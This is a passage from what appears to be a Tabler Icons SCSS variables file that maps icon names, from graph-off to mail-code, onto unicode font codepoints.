unicode('fd15');\n$ti-icon-graph-off: unicode('f3f4');\n$ti-icon-grave: unicode('f580');\n$ti-icon-grave-2: unicode('f57f');\n$ti-icon-grid-3x3: unicode('fca4');\n$ti-icon-grid-4x4: unicode('fca5');\n$ti-icon-grid-dots: unicode('eaba');\n$ti-icon-grid-goldenratio: unicode('fca6');\n$ti-icon-grid-pattern: unicode('efc9');\n$ti-icon-grid-scan: unicode('fca7');\n$ti-icon-grill: unicode('efa9');\n$ti-icon-grill-fork: unicode('f35b');\n$ti-icon-grill-off: unicode('f3f5');\n$ti-icon-grill-spatula: unicode('f35c');\n$ti-icon-grip-horizontal: unicode('ec00');\n$ti-icon-grip-vertical: unicode('ec01');\n$ti-icon-growth: unicode('ee93');\n$ti-icon-guitar-pick: unicode('f4c6');\n$ti-icon-guitar-pick-filled: unicode('f67b');\n$ti-icon-gymnastics: unicode('fd44');\n$ti-icon-h-1: unicode('ec94');\n$ti-icon-h-2: unicode('ec95');\n$ti-icon-h-3: unicode('ec96');\n$ti-icon-h-4: unicode('ec97');\n$ti-icon-h-5: unicode('ec98');\n$ti-icon-h-6: unicode('ec99');\n$ti-icon-hammer: unicode('ef91');\n$ti-icon-hammer-off: unicode('f13c');\n$ti-icon-hand-click: unicode('ef4f');\n$ti-icon-hand-finger: unicode('ee94');\n$ti-icon-hand-finger-off: unicode('f13d');\n$ti-icon-hand-grab: unicode('f091');\n$ti-icon-hand-little-finger: unicode('ee95');\n$ti-icon-hand-love-you: unicode('ee97');\n$ti-icon-hand-middle-finger: unicode('ec2d');\n$ti-icon-hand-move: unicode('ef50');\n$ti-icon-hand-off: unicode('ed15');\n$ti-icon-hand-ring-finger: unicode('ee96');\n$ti-icon-hand-sanitizer: unicode('f5f4');\n$ti-icon-hand-stop: unicode('ec2e');\n$ti-icon-hand-three-fingers: unicode('ee98');\n$ti-icon-hand-two-fingers: unicode('ee99');\n$ti-icon-hanger: unicode('ee9a');\n$ti-icon-hanger-2: unicode('f09c');\n$ti-icon-hanger-off: unicode('f13e');\n$ti-icon-hash: unicode('eabc');\n$ti-icon-haze: unicode('efaa');\n$ti-icon-haze-moon: unicode('faf8');\n$ti-icon-hdr: unicode('fa7b');\n$ti-icon-heading: unicode('ee9b');\n$ti-icon-heading-off: unicode('f13f');\n$ti-icon-headphones: unicode('eabd');\n$ti-icon-headphones-filled: unicode('fa3c');\n$ti-icon-headphones-off: unicode('ed1d');\n$ti-icon-headset: unicode('eb90');\n$ti-icon-headset-off: unicode('f3f6');\n$ti-icon-health-recognition: unicode('f1fb');\n$ti-icon-heart: unicode('eabe');\n$ti-icon-heart-bolt: unicode('fb9e');\n$ti-icon-heart-broken: unicode('ecba');\n$ti-icon-heart-cancel: unicode('fb9f');\n$ti-icon-heart-check: unicode('fba0');\n$ti-icon-heart-code: unicode('fba1');\n$ti-icon-heart-cog: unicode('fba2');\n$ti-icon-heart-discount: unicode('fba3');\n$ti-icon-heart-dollar: unicode('fba4');\n$ti-icon-heart-down: unicode('fba5');\n$ti-icon-heart-exclamation: unicode('fba6');\n$ti-icon-heart-filled: unicode('f67c');\n$ti-icon-heart-handshake: unicode('f0f3');\n$ti-icon-heart-minus: unicode('f140');\n$ti-icon-heart-off: unicode('f141');\n$ti-icon-heart-pause: unicode('fba7');\n$ti-icon-heart-pin: unicode('fba8');\n$ti-icon-heart-plus: unicode('f142');\n$ti-icon-heart-question: unicode('fba9');\n$ti-icon-heart-rate-monitor: unicode('ef61');\n$ti-icon-heart-search: unicode('fbaa');\n$ti-icon-heart-share: unicode('fbab');\n$ti-icon-heart-star: unicode('fbac');\n$ti-icon-heart-up: unicode('fbad');\n$ti-icon-heart-x: unicode('fbae');\n$ti-icon-heartbeat: unicode('ef92');\n$ti-icon-hearts: unicode('f387');\n$ti-icon-hearts-off: unicode('f3f7');\n$ti-icon-helicopter: unicode('ed8e');\n$ti-icon-helicopter-landing: unicode('ed8d');\n$ti-icon-helmet: unicode('efca');\n$ti-icon-helmet-off: unicode('f143');\n$ti-icon-help: unicode('eabf');\n$ti-icon-help-circle: unicode('f91d');\n$ti-icon-help-circle-filled: unicode('fa3d');\n$ti-icon-help-hexagon: unicode('f7a8');\n$ti-icon-help-hexagon-filled: unicode('fa3e');\n$ti-icon-help-octagon: unicode('f7a9');\n$ti-icon-help-octagon-filled: unicode('fa3f');\n$ti-icon-help-off: unicode('f3f8');\n$ti-icon-help-small: unicode('f91e');\n$ti-icon-help-square: unicode('f920');\n$ti-icon-help-square-filled: unicode('fa40');\n$ti-icon-help-square-rounded: unicode('f91f');\n$ti-icon-help-square-rounded-filled: unicode('fa41');\n$ti-icon-help-triangle: unicode('f921');\n$ti-icon-help-triangle-filled: unicode('fa42');\n$ti-icon-hemisphere: unicode('faa2');\n$ti-icon-hemisphere-off: unicode('faa0');\n$ti-icon-hemisphere-plus: unicode('faa1');\n$ti-icon-hexagon: unicode('ec02');\n$ti-icon-hexagon-3d: unicode('f4c7');\n$ti-icon-hexagon-filled: unicode('f67d');\n$ti-icon-hexagon-letter-a: unicode('f463');\n$ti-icon-hexagon-letter-a-filled: unicode('fe47');\n$ti-icon-hexagon-letter-b: unicode('f464');\n$ti-icon-hexagon-letter-b-filled: unicode('fe46');\n$ti-icon-hexagon-letter-c: unicode('f465');\n$ti-icon-hexagon-letter-c-filled: unicode('fe45');\n$ti-icon-hexagon-letter-d: unicode('f466');\n$ti-icon-hexagon-letter-d-filled: unicode('fe44');\n$ti-icon-hexagon-letter-e: unicode('f467');\n$ti-icon-hexagon-letter-e-filled: unicode('fe43');\n$ti-icon-hexagon-letter-f: unicode('f468');\n$ti-icon-hexagon-letter-f-filled: unicode('fe42');\n$ti-icon-hexagon-letter-g: unicode('f469');\n$ti-icon-hexagon-letter-g-filled: unicode('fe41');\n$ti-icon-hexagon-letter-h: unicode('f46a');\n$ti-icon-hexagon-letter-h-filled: unicode('fe40');\n$ti-icon-hexagon-letter-i: unicode('f46b');\n$ti-icon-hexagon-letter-i-filled: unicode('fe3f');\n$ti-icon-hexagon-letter-j: unicode('f46c');\n$ti-icon-hexagon-letter-j-filled: unicode('fe3e');\n$ti-icon-hexagon-letter-k: unicode('f46d');\n$ti-icon-hexagon-letter-k-filled: unicode('fe3d');\n$ti-icon-hexagon-letter-l: unicode('f46e');\n$ti-icon-hexagon-letter-l-filled: unicode('fe3c');\n$ti-icon-hexagon-letter-m: unicode('f46f');\n$ti-icon-hexagon-letter-m-filled: unicode('fe3b');\n$ti-icon-hexagon-letter-n: unicode('f470');\n$ti-icon-hexagon-letter-n-filled: unicode('fe3a');\n$ti-icon-hexagon-letter-o: unicode('f471');\n$ti-icon-hexagon-letter-o-filled: unicode('fe39');\n$ti-icon-hexagon-letter-p: unicode('f472');\n$ti-icon-hexagon-letter-p-filled: unicode('fe38');\n$ti-icon-hexagon-letter-q: unicode('f473');\n$ti-icon-hexagon-letter-q-filled: unicode('fe37');\n$ti-icon-hexagon-letter-r: unicode('f474');\n$ti-icon-hexagon-letter-r-filled: unicode('fe36');\n$ti-icon-hexagon-letter-s: unicode('f475');\n$ti-icon-hexagon-letter-s-filled: unicode('fe35');\n$ti-icon-hexagon-letter-t: unicode('f476');\n$ti-icon-hexagon-letter-t-filled: unicode('fe34');\n$ti-icon-hexagon-letter-u: unicode('f477');\n$ti-icon-hexagon-letter-u-filled: unicode('fe33');\n$ti-icon-hexagon-letter-v: unicode('f4b3');\n$ti-icon-hexagon-letter-v-filled: unicode('fe32');\n$ti-icon-hexagon-letter-w: unicode('f478');\n$ti-icon-hexagon-letter-w-filled: unicode('fe31');\n$ti-icon-hexagon-letter-x: unicode('f479');\n$ti-icon-hexagon-letter-x-filled: unicode('fe30');\n$ti-icon-hexagon-letter-y: unicode('f47a');\n$ti-icon-hexagon-letter-y-filled: unicode('fe2f');\n$ti-icon-hexagon-letter-z: unicode('f47b');\n$ti-icon-hexagon-letter-z-filled: unicode('fe2e');\n$ti-icon-hexagon-minus: unicode('fc8f');\n$ti-icon-hexagon-minus-2: unicode('fc8e');\n$ti-icon-hexagon-minus-filled: unicode('fe2d');\n$ti-icon-hexagon-number-0: unicode('f459');\n$ti-icon-hexagon-number-0-filled: unicode('f74c');\n$ti-icon-hexagon-number-1: unicode('f45a');\n$ti-icon-hexagon-number-1-filled: unicode('f74d');\n$ti-icon-hexagon-number-2: unicode('f45b');\n$ti-icon-hexagon-number-2-filled: unicode('f74e');\n$ti-icon-hexagon-number-3: unicode('f45c');\n$ti-icon-hexagon-number-3-filled: unicode('f74f');\n$ti-icon-hexagon-number-4: unicode('f45d');\n$ti-icon-hexagon-number-4-filled: unicode('f750');\n$ti-icon-hexagon-number-5: unicode('f45e');\n$ti-icon-hexagon-number-5-filled: unicode('f751');\n$ti-icon-hexagon-number-6: unicode('f45f');\n$ti-icon-hexagon-number-6-filled: unicode('f752');\n$ti-icon-hexagon-number-7: unicode('f460');\n$ti-icon-hexagon-number-7-filled: unicode('f753');\n$ti-icon-hexagon-number-8: unicode('f461');\n$ti-icon-hexagon-number-8-filled: unicode('f754');\n$ti-icon-hexagon-number-9: unicode('f462');\n$ti-icon-hexagon-number-9-filled: unicode('f755');\n$ti-icon-hexagon-off: unicode('ee9c');\n$ti-icon-hexagon-plus: unicode('fc45');\n$ti-icon-hexagon-plus-2: unicode('fc90');\n$ti-icon-hexagon-plus-filled: unicode('fe2c');\n$ti-icon-hexagonal-prism: unicode('faa5');\n$ti-icon-hexagonal-prism-off: unicode('faa3');\n$ti-icon-hexagonal-prism-plus: unicode('faa4');\n$ti-icon-hexagonal-pyramid: unicode('faa8');\n$ti-icon-hexagonal-pyramid-off: unicode('faa6');\n$ti-icon-hexagonal-pyramid-plus: unicode('faa7');\n$ti-icon-hexagons: unicode('f09d');\n$ti-icon-hexagons-off: unicode('f3f9');\n$ti-icon-hierarchy: unicode('ee9e');\n$ti-icon-hierarchy-2: unicode('ee9d');\n$ti-icon-hierarchy-3: unicode('f289');\n$ti-icon-hierarchy-off: unicode('f3fa');\n$ti-icon-highlight: unicode('ef3f');\n$ti-icon-highlight-off: unicode('f144');\n$ti-icon-history: unicode('ebea');\n$ti-icon-history-off: unicode('f3fb');\n$ti-icon-history-toggle: unicode('f1fc');\n$ti-icon-home: unicode('eac1');\n$ti-icon-home-2: unicode('eac0');\n$ti-icon-home-bolt: unicode('f336');\n$ti-icon-home-cancel: unicode('f350');\n$ti-icon-home-check: unicode('f337');\n$ti-icon-home-cog: unicode('f338');\n$ti-icon-home-dollar: unicode('f339');\n$ti-icon-home-dot: unicode('f33a');\n$ti-icon-home-down: unicode('f33b');\n$ti-icon-home-eco: unicode('f351');\n$ti-icon-home-edit: unicode('f352');\n$ti-icon-home-exclamation: unicode('f33c');\n$ti-icon-home-filled: unicode('fe2b');\n$ti-icon-home-hand: unicode('f504');\n$ti-icon-home-heart: unicode('f353');\n$ti-icon-home-infinity: unicode('f505');\n$ti-icon-home-link: unicode('f354');\n$ti-icon-home-minus: unicode('f33d');\n$ti-icon-home-move: unicode('f33e');\n$ti-icon-home-off: unicode('f145');\n$ti-icon-home-plus: unicode('f33f');\n$ti-icon-home-question: unicode('f340');\n$ti-icon-home-ribbon: unicode('f355');\n$ti-icon-home-search: unicode('f341');\n$ti-icon-home-share: unicode('f342');\n$ti-icon-home-shield: unicode('f343');\n$ti-icon-home-signal: unicode('f356');\n$ti-icon-home-star: unicode('f344');\n$ti-icon-home-stats: unicode('f345');\n$ti-icon-home-up: unicode('f346');\n$ti-icon-home-x: unicode('f347');\n$ti-icon-horse: unicode('fc46');\n$ti-icon-horse-toy: unicode('f28a');\n$ti-icon-horseshoe: unicode('fcb7');\n$ti-icon-hospital: unicode('fd59');\n$ti-icon-hospital-circle: unicode('fd58');\n$ti-icon-hotel-service: unicode('ef80');\n$ti-icon-hourglass: unicode('ef93');\n$ti-icon-hourglass-empty: unicode('f146');\n$ti-icon-hourglass-filled: unicode('f756');\n$ti-icon-hourglass-high: unicode('f092');\n$ti-icon-hourglass-low: unicode('f093');\n$ti-icon-hourglass-off: unicode('f147');\n$ti-icon-hours-12: unicode('fc53');\n$ti-icon-hours-24: unicode('f5e7');\n$ti-icon-html: unicode('f7b1');\n$ti-icon-http-connect: unicode('fa28');\n$ti-icon-http-delete: unicode('fa29');\n$ti-icon-http-get: unicode('fa2a');\n$ti-icon-http-head: unicode('fa2b');\n$ti-icon-http-options: unicode('fa2c');\n$ti-icon-http-patch: unicode('fa2d');\n$ti-icon-http-post: unicode('fa2e');\n$ti-icon-http-put: unicode('fa2f');\n$ti-icon-http-que: unicode('fa5b');\n$ti-icon-http-trace: unicode('fa30');\n$ti-icon-ice-cream: unicode('eac2');\n$ti-icon-ice-cream-2: unicode('ee9f');\n$ti-icon-ice-cream-off: unicode('f148');\n$ti-icon-ice-skating: unicode('efcb');\n$ti-icon-icons: unicode('f1d4');\n$ti-icon-icons-off: unicode('f3fc');\n$ti-icon-id: unicode('eac3');\n$ti-icon-id-badge: unicode('eff7');\n$ti-icon-id-badge-2: unicode('f076');\n$ti-icon-id-badge-off: unicode('f3fd');\n$ti-icon-id-off: unicode('f149');\n$ti-icon-image-in-picture: unicode('fd9f');\n$ti-icon-inbox: unicode('eac4');\n$ti-icon-inbox-off: unicode('f14a');\n$ti-icon-indent-decrease: unicode('eb91');\n$ti-icon-indent-increase: unicode('eb92');\n$ti-icon-infinity: unicode('eb69');\n$ti-icon-infinity-off: unicode('f3fe');\n$ti-icon-info-circle: unicode('eac5');\n$ti-icon-info-circle-filled: unicode('f6d8');\n$ti-icon-info-hexagon: unicode('f7aa');\n$ti-icon-info-hexagon-filled: unicode('fa43');\n$ti-icon-info-octagon: unicode('f7ab');\n$ti-icon-info-octagon-filled: unicode('fa44');\n$ti-icon-info-small: unicode('f922');\n$ti-icon-info-square: unicode('eac6');\n$ti-icon-info-square-filled: unicode('fa45');\n$ti-icon-info-square-rounded: unicode('f635');\n$ti-icon-info-square-rounded-filled: unicode('f6d9');\n$ti-icon-info-triangle: unicode('f923');\n$ti-icon-info-triangle-filled: unicode('fa46');\n$ti-icon-inner-shadow-bottom: unicode('f520');\n$ti-icon-inner-shadow-bottom-filled: unicode('f757');\n$ti-icon-inner-shadow-bottom-left: unicode('f51e');\n$ti-icon-inner-shadow-bottom-left-filled: unicode('f758');\n$ti-icon-inner-shadow-bottom-right: unicode('f51f');\n$ti-icon-inner-shadow-bottom-right-filled: unicode('f759');\n$ti-icon-inner-shadow-left: unicode('f521');\n$ti-icon-inner-shadow-left-filled: unicode('f75a');\n$ti-icon-inner-shadow-right: unicode('f522');\n$ti-icon-inner-shadow-right-filled: unicode('f75b');\n$ti-icon-inner-shadow-top: unicode('f525');\n$ti-icon-inner-shadow-top-filled: unicode('f75c');\n$ti-icon-inner-shadow-top-left: unicode('f523');\n$ti-icon-inner-shadow-top-left-filled: unicode('f75d');\n$ti-icon-inner-shadow-top-right: unicode('f524');\n$ti-icon-inner-shadow-top-right-filled: unicode('f75e');\n$ti-icon-input-ai: unicode('fc5a');\n$ti-icon-input-check: unicode('fc5b');\n$ti-icon-input-search: unicode('f2a2');\n$ti-icon-input-x: unicode('fc5c');\n$ti-icon-ironing: unicode('fa7c');\n$ti-icon-ironing-1: unicode('f2f4');\n$ti-icon-ironing-2: unicode('f2f5');\n$ti-icon-ironing-3: unicode('f2f6');\n$ti-icon-ironing-filled: unicode('fe2a');\n$ti-icon-ironing-off: unicode('f2f7');\n$ti-icon-ironing-steam: unicode('f2f9');\n$ti-icon-ironing-steam-off: unicode('f2f8');\n$ti-icon-irregular-polyhedron: unicode('faab');\n$ti-icon-irregular-polyhedron-off: unicode('faa9');\n$ti-icon-irregular-polyhedron-plus: unicode('faaa');\n$ti-icon-italic: unicode('eb93');\n$ti-icon-jacket: unicode('f661');\n$ti-icon-jetpack: unicode('f581');\n$ti-icon-jetpack-filled: unicode('fe29');\n$ti-icon-jewish-star: unicode('f3ff');\n$ti-icon-jewish-star-filled: unicode('f67e');\n$ti-icon-jpg: unicode('f3ac');\n$ti-icon-json: unicode('f7b2');\n$ti-icon-jump-rope: unicode('ed8f');\n$ti-icon-karate: unicode('ed32');\n$ti-icon-kayak: unicode('f1d6');\n$ti-icon-kerning: unicode('efb8');\n$ti-icon-key: unicode('eac7');\n$ti-icon-key-filled: unicode('fe28');\n$ti-icon-key-off: unicode('f14b');\n$ti-icon-keyboard: unicode('ebd6');\n$ti-icon-keyboard-hide: unicode('ec7e');\n$ti-icon-keyboard-off: unicode('eea0');\n$ti-icon-keyboard-show: unicode('ec7f');\n$ti-icon-keyframe: unicode('f576');\n$ti-icon-keyframe-align-center: unicode('f582');\n$ti-icon-keyframe-align-center-filled: unicode('fc30');\n$ti-icon-keyframe-align-horizontal: unicode('f583');\n$ti-icon-keyframe-align-horizontal-filled: unicode('fc31');\n$ti-icon-keyframe-align-vertical: unicode('f584');\n$ti-icon-keyframe-align-vertical-filled: unicode('fc32');\n$ti-icon-keyframe-filled: unicode('fc33');\n$ti-icon-keyframes: unicode('f585');\n$ti-icon-keyframes-filled: unicode('fc34');\n$ti-icon-ladder: unicode('efe2');\n$ti-icon-ladder-off: unicode('f14c');\n$ti-icon-ladle: unicode('fc14');\n$ti-icon-lambda: unicode('f541');\n$ti-icon-lamp: unicode('efab');\n$ti-icon-lamp-2: unicode('f09e');\n$ti-icon-lamp-off: unicode('f14d');\n$ti-icon-lane: unicode('faf9');\n$ti-icon-language: unicode('ebbe');\n$ti-icon-language-hiragana: unicode('ef77');\n$ti-icon-language-katakana: unicode('ef78');\n$ti-icon-language-off: unicode('f14e');\n$ti-icon-lasso: unicode('efac');\n$ti-icon-lasso-off: unicode('f14f');\n$ti-icon-lasso-polygon: unicode('f388');\n$ti-icon-layers-difference: unicode('eac8');\n$ti-icon-layers-intersect: unicode('eac9');\n$ti-icon-layers-intersect-2: unicode('eff8');\n$ti-icon-layers-linked: unicode('eea1');\n$ti-icon-layers-off: unicode('f150');\n$ti-icon-layers-subtract: unicode('eaca');\n$ti-icon-layers-union: unicode('eacb');\n$ti-icon-layout: unicode('eadb');\n$ti-icon-layout-2: unicode('eacc');\n$ti-icon-layout-2-filled: unicode('fe27');\n$ti-icon-layout-align-bottom: unicode('eacd');\n$ti-icon-layout-align-bottom-filled: unicode('fe26');\n$ti-icon-layout-align-center: unicode('eace');\n$ti-icon-layout-align-center-filled: unicode('fe25');\n$ti-icon-layout-align-left: unicode('eacf');\n$ti-icon-layout-align-left-filled: unicode('fe24');\n$ti-icon-layout-align-middle: unicode('ead0');\n$ti-icon-layout-align-middle-filled: unicode('fe23');\n$ti-icon-layout-align-right: unicode('ead1');\n$ti-icon-layout-align-right-filled: unicode('fe22');\n$ti-icon-layout-align-top: unicode('ead2');\n$ti-icon-layout-align-top-filled: unicode('fe21');\n$ti-icon-layout-board: unicode('ef95');\n$ti-icon-layout-board-split: unicode('ef94');\n$ti-icon-layout-bottombar: unicode('ead3');\n$ti-icon-layout-bottombar-collapse: unicode('f28b');\n$ti-icon-layout-bottombar-collapse-filled: unicode('fc35');\n$ti-icon-layout-bottombar-expand: unicode('f28c');\n$ti-icon-layout-bottombar-expand-filled: unicode('fc36');\n$ti-icon-layout-bottombar-filled: unicode('fc37');\n$ti-icon-layout-bottombar-inactive: unicode('fd45');\n$ti-icon-layout-cards: unicode('ec13');\n$ti-icon-layout-cards-filled: unicode('fe20');\n$ti-icon-layout-collage: unicode('f389');\n$ti-icon-layout-columns: unicode('ead4');\n$ti-icon-layout-dashboard: unicode('f02c');\n$ti-icon-layout-dashboard-filled: unicode('fe1f');\n$ti-icon-layout-distribute-horizontal: unicode('ead5');\n$ti-icon-layout-distribute-horizontal-filled: unicode('fe1e');\n$ti-icon-layout-distribute-vertical: unicode('ead6');\n$ti-icon-layout-distribute-vertical-filled: unicode('fe1d');\n$ti-icon-layout-filled: unicode('fe17');\n$ti-icon-layout-grid: unicode('edba');\n$ti-icon-layout-grid-add: unicode('edb9');\n$ti-icon-layout-grid-filled: unicode('fe1c');\n$ti-icon-layout-grid-remove: unicode('fa7d');\n$ti-icon-layout-kanban: unicode('ec3f');\n$ti-icon-layout-kanban-filled: unicode('fe1b');\n$ti-icon-layout-list: unicode('ec14');\n$ti-icon-layout-list-filled: unicode('fe1a');\n$ti-icon-layout-navbar: unicode('ead7');\n$ti-icon-layout-navbar-collapse: unicode('f28d');\n$ti-icon-layout-navbar-collapse-filled: unicode('fc38');\n$ti-icon-layout-navbar-expand: unicode('f28e');\n$ti-icon-layout-navbar-expand-filled: unicode('fc39');\n$ti-icon-layout-navbar-filled: unicode('fc3a');\n$ti-icon-layout-navbar-inactive: unicode('fd46');\n$ti-icon-layout-off: unicode('f151');\n$ti-icon-layout-rows: unicode('ead8');\n$ti-icon-layout-sidebar: unicode('eada');\n$ti-icon-layout-sidebar-filled: unicode('fe18');\n$ti-icon-layout-sidebar-inactive: unicode('fd47');\n$ti-icon-layout-sidebar-left-collapse: unicode('f004');\n$ti-icon-layout-sidebar-left-collapse-filled: unicode('fc3b');\n$ti-icon-layout-sidebar-left-expand: unicode('f005');\n$ti-icon-layout-sidebar-left-expand-filled: unicode('fc3c');\n$ti-icon-layout-sidebar-right: unicode('ead9');\n$ti-icon-layout-sidebar-right-collapse: unicode('f006');\n$ti-icon-layout-sidebar-right-collapse-filled: unicode('fc3d');\n$ti-icon-layout-sidebar-right-expand: unicode('f007');\n$ti-icon-layout-sidebar-right-expand-filled: unicode('fc3e');\n$ti-icon-layout-sidebar-right-filled: unicode('fe19');\n$ti-icon-layout-sidebar-right-inactive: unicode('fd48');\n$ti-icon-leaf: unicode('ed4f');\n$ti-icon-leaf-off: unicode('f400');\n$ti-icon-lego: unicode('eadc');\n$ti-icon-lego-filled: unicode('fe16');\n$ti-icon-lego-off: unicode('f401');\n$ti-icon-lemon: unicode('ef10');\n$ti-icon-lemon-2: unicode('ef81');\n$ti-icon-letter-a: unicode('ec50');\n$ti-icon-letter-a-small: unicode('fcc7');\n$ti-icon-letter-b: unicode('ec51');\n$ti-icon-letter-b-small: unicode('fcc8');\n$ti-icon-letter-c: unicode('ec52');\n$ti-icon-letter-c-small: unicode('fcc9');\n$ti-icon-letter-case: unicode('eea5');\n$ti-icon-letter-case-lower: unicode('eea2');\n$ti-icon-letter-case-toggle: unicode('eea3');\n$ti-icon-letter-case-upper: unicode('eea4');\n$ti-icon-letter-d: unicode('ec53');\n$ti-icon-letter-d-small: unicode('fcca');\n$ti-icon-letter-e: unicode('ec54');\n$ti-icon-letter-e-small: unicode('fccb');\n$ti-icon-letter-f: unicode('ec55');\n$ti-icon-letter-f-small: unicode('fccc');\n$ti-icon-letter-g: unicode('ec56');\n$ti-icon-letter-g-small: unicode('fccd');\n$ti-icon-letter-h: unicode('ec57');\n$ti-icon-letter-h-small: unicode('fcce');\n$ti-icon-letter-i: unicode('ec58');\n$ti-icon-letter-i-small: unicode('fccf');\n$ti-icon-letter-j: unicode('ec59');\n$ti-icon-letter-j-small: unicode('fcd0');\n$ti-icon-letter-k: unicode('ec5a');\n$ti-icon-letter-k-small: unicode('fcd1');\n$ti-icon-letter-l: unicode('ec5b');\n$ti-icon-letter-l-small: unicode('fcd2');\n$ti-icon-letter-m: unicode('ec5c');\n$ti-icon-letter-m-small: unicode('fcd3');\n$ti-icon-letter-n: unicode('ec5d');\n$ti-icon-letter-n-small: unicode('fcd4');\n$ti-icon-letter-o: unicode('ec5e');\n$ti-icon-letter-o-small: unicode('fcd5');\n$ti-icon-letter-p: unicode('ec5f');\n$ti-icon-letter-p-small: unicode('fcd6');\n$ti-icon-letter-q: unicode('ec60');\n$ti-icon-letter-q-small: unicode('fcd7');\n$ti-icon-letter-r: unicode('ec61');\n$ti-icon-letter-r-small: unicode('fcd8');\n$ti-icon-letter-s: unicode('ec62');\n$ti-icon-letter-s-small: unicode('fcd9');\n$ti-icon-letter-spacing: unicode('eea6');\n$ti-icon-letter-t: unicode('ec63');\n$ti-icon-letter-t-small: unicode('fcda');\n$ti-icon-letter-u: unicode('ec64');\n$ti-icon-letter-u-small: unicode('fcdb');\n$ti-icon-letter-v: unicode('ec65');\n$ti-icon-letter-v-small: unicode('fcdc');\n$ti-icon-letter-w: unicode('ec66');\n$ti-icon-letter-w-small: unicode('fcdd');\n$ti-icon-letter-x: unicode('ec67');\n$ti-icon-letter-x-small: unicode('fcde');\n$ti-icon-letter-y: unicode('ec68');\n$ti-icon-letter-y-small: unicode('fcdf');\n$ti-icon-letter-z: unicode('ec69');\n$ti-icon-letter-z-small: unicode('fce0');\n$ti-icon-library: unicode('fd4c');\n$ti-icon-library-minus: unicode('fd49');\n$ti-icon-library-photo: unicode('fd4a');\n$ti-icon-library-plus: unicode('fd4b');\n$ti-icon-license: unicode('ebc0');\n$ti-icon-license-off: unicode('f153');\n$ti-icon-lifebuoy: unicode('eadd');\n$ti-icon-lifebuoy-off: unicode('f154');\n$ti-icon-lighter: unicode('f794');\n$ti-icon-line: unicode('ec40');\n$ti-icon-line-dashed: unicode('eea7');\n$ti-icon-line-dotted: unicode('eea8');\n$ti-icon-line-height: unicode('eb94');\n$ti-icon-line-scan: unicode('fcb8');\n$ti-icon-link: unicode('eade');\n$ti-icon-link-minus: unicode('fd16');\n$ti-icon-link-off: unicode('f402');\n$ti-icon-link-plus: unicode('fd17');\n$ti-icon-list: unicode('eb6b');\n$ti-icon-list-check: unicode('eb6a');\n$ti-icon-list-details: unicode('ef40');\n$ti-icon-list-letters: unicode('fc47');\n$ti-icon-list-numbers: unicode('ef11');\n$ti-icon-list-search: unicode('eea9');\n$ti-icon-list-tree: unicode('fafa');\n$ti-icon-live-photo: unicode('eadf');\n$ti-icon-live-photo-off: unicode('f403');\n$ti-icon-live-view: unicode('ec6b');\n$ti-icon-load-balancer: unicode('fa5c');\n$ti-icon-loader: unicode('eca3');\n$ti-icon-loader-2: unicode('f226');\n$ti-icon-loader-3: unicode('f513');\n$ti-icon-loader-quarter: unicode('eca2');\n$ti-icon-location: unicode('eae0');\n$ti-icon-location-bolt: unicode('fbaf');\n$ti-icon-location-broken: unicode('f2c4');\n$ti-icon-location-cancel: unicode('fbb0');\n$ti-icon-location-check: unicode('fbb1');\n$ti-icon-location-code: unicode('fbb2');\n$ti-icon-location-cog: unicode('fbb3');\n$ti-icon-location-discount: unicode('fbb4');\n$ti-icon-location-dollar: unicode('fbb5');\n$ti-icon-location-down: unicode('fbb6');\n$ti-icon-location-exclamation: unicode('fbb7');\n$ti-icon-location-filled: unicode('f67f');\n$ti-icon-location-heart: unicode('fbb8');\n$ti-icon-location-minus: unicode('fbb9');\n$ti-icon-location-off: unicode('f155');\n$ti-icon-location-pause: unicode('fbba');\n$ti-icon-location-pin: unicode('fbbb');\n$ti-icon-location-plus: unicode('fbbc');\n$ti-icon-location-question: unicode('fbbd');\n$ti-icon-location-search: unicode('fbbe');\n$ti-icon-location-share: unicode('fbbf');\n$ti-icon-location-star: unicode('fbc0');\n$ti-icon-location-up: unicode('fbc1');\n$ti-icon-location-x: unicode('fbc2');\n$ti-icon-lock: unicode('eae2');\n$ti-icon-lock-access: unicode('eeaa');\n$ti-icon-lock-access-off: unicode('f404');\n$ti-icon-lock-bolt: unicode('f924');\n$ti-icon-lock-cancel: unicode('f925');\n$ti-icon-lock-check: unicode('f926');\n$ti-icon-lock-code: unicode('f927');\n$ti-icon-lock-cog: unicode('f928');\n$ti-icon-lock-dollar: unicode('f929');\n$ti-icon-lock-down: unicode('f92a');\n$ti-icon-lock-exclamation: unicode('f92b');\n$ti-icon-lock-filled: unicode('fe15');\n$ti-icon-lock-heart: unicode('f92c');\n$ti-icon-lock-minus: unicode('f92d');\n$ti-icon-lock-off: unicode('ed1e');\n$ti-icon-lock-open: unicode('eae1');\n$ti-icon-lock-open-off: unicode('f156');\n$ti-icon-lock-pause: unicode('f92e');\n$ti-icon-lock-pin: unicode('f92f');\n$ti-icon-lock-plus: unicode('f930');\n$ti-icon-lock-question: unicode('f931');\n$ti-icon-lock-search: unicode('f932');\n$ti-icon-lock-share: unicode('f933');\n$ti-icon-lock-square: unicode('ef51');\n$ti-icon-lock-square-rounded: unicode('f636');\n$ti-icon-lock-square-rounded-filled: unicode('f6da');\n$ti-icon-lock-star: unicode('f934');\n$ti-icon-lock-up: unicode('f935');\n$ti-icon-lock-x: unicode('f936');\n$ti-icon-logic-and: unicode('f240');\n$ti-icon-logic-buffer: unicode('f241');\n$ti-icon-logic-nand: unicode('f242');\n$ti-icon-logic-nor: unicode('f243');\n$ti-icon-logic-not: unicode('f244');\n$ti-icon-logic-or: unicode('f245');\n$ti-icon-logic-xnor: unicode('f246');\n$ti-icon-logic-xor: unicode('f247');\n$ti-icon-login: unicode('eba7');\n$ti-icon-login-2: unicode('fc76');\n$ti-icon-logout: unicode('eba8');\n$ti-icon-logout-2: unicode('fa7e');\n$ti-icon-lollipop: unicode('efcc');\n$ti-icon-lollipop-off: unicode('f157');\n$ti-icon-luggage: unicode('efad');\n$ti-icon-luggage-off: unicode('f158');\n$ti-icon-lungs: unicode('ef62');\n$ti-icon-lungs-filled: unicode('fe14');\n$ti-icon-lungs-off: unicode('f405');\n$ti-icon-macro: unicode('eeab');\n$ti-icon-macro-filled: unicode('fe13');\n$ti-icon-macro-off: unicode('f406');\n$ti-icon-magnet: unicode('eae3');\n$ti-icon-magnet-filled: unicode('fe12');\n$ti-icon-magnet-off: unicode('f159');\n$ti-icon-magnetic: unicode('fcb9');\n$ti-icon-mail: unicode('eae5');\n$ti-icon-mail-ai: unicode('fa31');\n$ti-icon-mail-bolt: unicode('f937');\n$ti-icon-mail-cancel: unicode('f938');\n$ti-icon-mail-check: unicode('f939');\n$ti-icon-mail-code: 